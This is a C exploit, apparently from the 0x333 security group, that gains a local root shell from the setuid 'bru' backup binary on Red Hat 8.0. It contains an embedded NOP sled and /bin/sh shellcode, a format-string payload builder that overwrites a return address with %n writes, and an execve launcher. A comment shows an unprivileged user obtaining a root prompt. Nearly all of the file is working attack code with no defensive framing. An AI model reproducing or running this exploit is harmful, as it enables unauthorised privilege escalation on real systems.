/*
*  bru--format--root-expolit::^^)
*   
*  coded by nic
* 
* (c) 0x333 Outsiders Security Labs / www.0x333.org
* test in redhat 8.0
* bash-2.05b$ ls -al bru
* -rws--x--x 1 root bin 165836 11�29 1999 bru
* bash-2.05b$ id
* uid=37(rpm) gid=37(rpm) groups=37(rpm)
* bash-2.05b$ ./bruex
* Use shellcode 0xc4ffff65
* sh-2.05b#
* ths : sam @ SST Group
*/

#include <stdio.h>
#include <strings.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <errno.h>

#define MAX_FMT_LENGTH 128
#define ADD 0x100
#define FOUR sizeof( size_t ) * 4
#define HELL "./bru"
#define OCT( b0, b1, b2, b3, addr, str ) { \
b0 = (addr >> 24) & 0xff; \
b1 = (addr >> 16) & 0xff; \
b2 = (addr >> 8) & 0xff; \
b3 = (addr ) & 0xff; \
if ( b0 * b1 * b2 * b3 == 0 ) { \
printf( "\n%s contains a NUL byte. Leaving...\n", str ); \
exit( EXIT_FAILURE ); \
} \
}

/ shell by sam/
char shellcode[]= 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
/* shellcode */
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31"
"\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
int
build_un( char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int
offset, unsigned int base )
{
unsigned char b0, b1, b2, b3;
int start = ( (base / ADD) + 1 ) * ADD;
int sz;

OCT( b0, b1, b2, b3, locaddr, "[ locaddr ]" );
sz = snprintf( buf, FOUR + 1, /* 16 char to have the 4 addresses */
"%c%c%c%c" /* + 1 for the ending \0 */
"%c%c%c%c"
"%c%c%c%c"
"%c%c%c%c",
b3, b2, b1, b0,
b3 + 1, b2, b1, b0,
b3 + 2, b2, b1, b0,
b3 + 3, b2, b1, b0 );

OCT( b0, b1, b2, b3, retaddr, "[ retaddr ]" );

return snprintf( buf + sz, MAX_FMT_LENGTH,
"%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n",
b3 - FOUR + start - base, offset,
b2 - b3 + start, offset + 1,
b1 - b2 + start, offset + 2,
b0 - b1 + start, offset + 3 );
}

int main()
{
int ret_addr;
char buf[256];
char *args[24];
char *env[2];

ret_addr = 0xc4fffffa - strlen(shellcode) - strlen(HELL);

/* put in env */
env[0] = shellcode;
env[1] = NULL;

printf ("Use shellcode 0x%x\n", ret_addr);

memset(buf, 0, sizeof(buf));
build_un(buf, 0x08070148, 0x97d7d741, 73 ,3);

args[0] = HELL;
args[1] = buf;
args[2] = NULL;

execve (args[0], args, env);
perror ("execve");

return 0;
}